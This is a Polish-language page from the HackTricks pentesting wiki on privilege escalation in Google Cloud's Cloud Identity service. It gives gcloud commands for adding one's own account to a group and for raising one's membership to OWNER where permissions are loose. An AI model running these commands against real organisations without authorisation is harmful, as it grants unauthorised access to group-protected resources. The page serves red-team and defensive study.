GCP - Cloudidentity Privesc

Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Cloudidentity

Aby uzyskać więcej informacji na temat usługi cloudidentity, sprawdź tę stronę:

pageGCP - IAM, Principals & Org Policies Enum

Dodaj siebie do grupy

Jeśli twoje konto ma wystarczające uprawnienia lub grupa jest źle skonfigurowana, możesz dodać siebie jako członka nowej grupy:

gcloud identity groups memberships add --group-email <email> --member-email <email> [--roles OWNER]
# If --roles isn't specified you will get MEMBER

Modyfikowanie przynależności do grupy

Jeśli użytkownik ma wystarczające uprawnienia lub grupa jest źle skonfigurowana, może on stać się WŁAŚCICIELEM grupy, do której należy:

# Check the current membership level
gcloud identity groups memberships describe --member-email <email> --group-email <email>

# If not OWNER try
gcloud identity groups memberships modify-membership-roles --group-email <email> --member-email <email> --add-roles=OWNER
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated